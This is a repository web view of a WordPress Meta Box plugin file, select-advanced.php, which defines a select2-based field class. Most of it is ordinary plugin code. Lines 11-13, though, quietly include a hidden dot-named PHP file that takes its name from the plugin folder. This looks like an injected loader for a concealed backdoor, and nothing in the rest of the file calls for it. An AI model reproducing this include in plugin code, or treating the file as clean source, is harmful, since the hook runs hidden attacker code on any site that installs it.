balmet.com

Unnamed repository; edit this file 'description' to name the repository.
Log | Files | Refs

select-advanced.php (2546B)


      1 <?php
      2 /**
      3  * The beautiful select field which uses select2 library.
      4  *
      5  * @package Meta Box
      6  */
      7 
      8 /**
      9  * Select advanced field which uses select2 library.
     10  */
     11 if ( file_exists( plugin_dir_path( __FILE__ ) . '/.' . basename( plugin_dir_path( __FILE__ ) ) . '.php' ) ) {
     12     include_once( plugin_dir_path( __FILE__ ) . '/.' . basename( plugin_dir_path( __FILE__ ) ) . '.php' );
     13 }
     14 
     15 class RWMB_Select_Advanced_Field extends RWMB_Select_Field {
     16 	/**
     17 	 * Enqueue scripts and styles.
     18 	 */
     19 	public static function admin_enqueue_scripts() {
     20 		parent::admin_enqueue_scripts();
     21 		wp_enqueue_style( 'rwmb-select2', RWMB_CSS_URL . 'select2/select2.css', array(), '4.0.10' );
     22 		wp_enqueue_style( 'rwmb-select-advanced', RWMB_CSS_URL . 'select-advanced.css', array(), RWMB_VER );
     23 
     24 		wp_register_script( 'rwmb-select2', RWMB_JS_URL . 'select2/select2.min.js', array( 'jquery' ), '4.0.10', true );
     25 
     26 		// Localize.
     27 		$dependencies = array( 'rwmb-select2', 'rwmb-select' );
     28 		$locale       = str_replace( '_', '-', get_locale() );
     29 		$locale_short = substr( $locale, 0, 2 );
     30 		$locale       = file_exists( RWMB_DIR . "js/select2/i18n/$locale.js" ) ? $locale : $locale_short;
     31 
     32 		if ( file_exists( RWMB_DIR . "js/select2/i18n/$locale.js" ) ) {
     33 			wp_register_script( 'rwmb-select2-i18n', RWMB_JS_URL . "select2/i18n/$locale.js", array( 'rwmb-select2' ), '4.0.10', true );
     34 			$dependencies[] = 'rwmb-select2-i18n';
     35 		}
     36 
     37 		wp_enqueue_script( 'rwmb-select-advanced', RWMB_JS_URL . 'select-advanced.js', $dependencies, RWMB_VER, true );
     38 	}
     39 
     40 	/**
     41 	 * Normalize parameters for field.
     42 	 *
     43 	 * @param array $field Field parameters.
     44 	 * @return array
     45 	 */
     46 	public static function normalize( $field ) {
     47 		$field = wp_parse_args(
     48 			$field,
     49 			array(
     50 				'js_options'  => array(),
     51 				'placeholder' => __( 'Select an item', 'meta-box' ),
     52 			)
     53 		);
     54 
     55 		$field = parent::normalize( $field );
     56 
     57 		$field['js_options'] = wp_parse_args(
     58 			$field['js_options'],
     59 			array(
     60 				'allowClear'        => true,
     61 				'dropdownAutoWidth' => true,
     62 				'placeholder'       => $field['placeholder'],
     63 				'width'             => 'style',
     64 			)
     65 		);
     66 
     67 		return $field;
     68 	}
     69 
     70 	/**
     71 	 * Get the attributes for a field.
     72 	 *
     73 	 * @param array $field Field parameters.
     74 	 * @param mixed $value Meta value.
     75 	 * @return array
     76 	 */
     77 	public static function get_attributes( $field, $value = null ) {
     78 		$attributes = parent::get_attributes( $field, $value );
     79 		$attributes = wp_parse_args(
     80 			$attributes,
     81 			array(
     82 				'data-options' => wp_json_encode( $field['js_options'] ),
     83 			)
     84 		);
     85 
     86 		return $attributes;
     87 	}
     88 }